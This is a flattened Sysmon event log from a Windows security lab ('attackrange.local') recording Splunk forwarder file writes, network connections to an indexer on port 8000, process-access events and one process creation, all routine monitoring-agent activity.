Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3477C45666CD073F3883F9F8922C7B35,SHA256=73479A4F75C30FB4F5CBA6FE0CB8A38C3BFE85C9631FFAB527582963B476C3A9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:26.309{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B2CDDE9141184844659AA7038365FAD6,SHA256=08FBC6D1D79402192E36F86741E3766D44C187A677B02B3AB7CA7A34C3421FDE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017051Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:27.349{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E5E3AC255AE2D441DEB3A52D22C32BBB,SHA256=962D30EAFF82CA38E0DD069948A65CA68BC8DE21F060C2BBAACD242AB318B6C7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:27.359{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3BAB85F62F204B383F057AD484190DC8,SHA256=351C9EDE385F8DB332B4AF0B5A29AADD99AC2ADD3B3AE1E5356ECD5537DA3452,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017053Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:27.577{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50335-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017052Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:28.396{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BBDF9B00B01D4CAAA08A5F912AAD5251,SHA256=BE93C761878C31F03569B68E56D90755D484267B6D0B61DE017B921E401131BA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:28.373{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7657C6E3BB31CA75766C9C5C692E9DF9,SHA256=9D33C99EFC49B8ECD4226659535B3A752E8069A4A7242F55E04EA9CFF50E87B0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:29.926{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:29.406{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2F2DFFA5D72636A38FE6049F8A0BF31,SHA256=D0E6BDC8CCB6D17852F754B4B8CE12F2AF368A9A4BC8FCDE66313331A7AE521A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017054Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:29.427{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0B882484B0966DA1AB7FD19F90736658,SHA256=7568397CB56F2E9266C6482CF792C10D2EB8E4FBCAA692B0DB3C1169B2439EC5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:26.424{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59644-false10.0.1.12-8000- 23542300x800000000000000053383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:30.489{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CFBA8CEECECB95CDB3220CB354EC2FF4,SHA256=B89E3362CC11C5A39A166E5455D3E7DFBD9257340C6646E39680F40D9F6FCAC1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017055Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:30.443{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E671841A284D04229870E61DFA42EA78,SHA256=C24E50E78B9FF8584CAF3ECCA4CFC983A95A1078FB49B025FE81CCD8D02FE21C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:31.505{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=991B550EEB6CCD8EC95064C2CC5610F8,SHA256=4F4C7F8646C21BF30509A1A458140FB4C8919CF0B7D59260EA8773A08ED01BEE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017069Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7387-613B-1305-00000000F101}3688C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017068Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017067Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017066Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017065Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017064Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017063Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017062Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017061Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017060Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017059Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7387-613B-1305-00000000F101}3688C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017058Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.581{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7387-613B-1305-00000000F101}3688C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017057Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.582{625C326B-7387-613B-1305-00000000F101}3688C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017056Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:31.503{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D14AA9646C43C711507C6DB08ACF79CF,SHA256=A0F43C2525DBB8C8242D259C39FF2E7C773F18FCD8BA50ADCCAFE7AEC168DCE0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:32.525{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=65003A3357F31062DA25D2843A67FCE6,SHA256=71BC792F1DD5B92293A999687A8DBF795DB4C0B0FD06B2CEFCDF04C4717416C3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017099Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.799{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=78FAD06918D0C3E020767C17801855EB,SHA256=FDE2EC83E5028515A7D371FEC31FB68565CC6D40A990BFD5120DAD3AF77ADE50,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017098Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.799{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7897CDAFE34EE4FE6BDB7E3E1783B297,SHA256=8D6659466AAB916505CE41D31715942C04053B382D01811D3CE4DC97DD89A135,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017097Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.799{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CFD3C240D2D253DAC0DCD7C698D538BE,SHA256=93016C8F09C017F691074E621453145CB19044F7EFE114539DBB598C5F3361E9,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017096Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7388-613B-1505-00000000F101}372C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017095Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017094Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017093Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:32.581{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017092Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 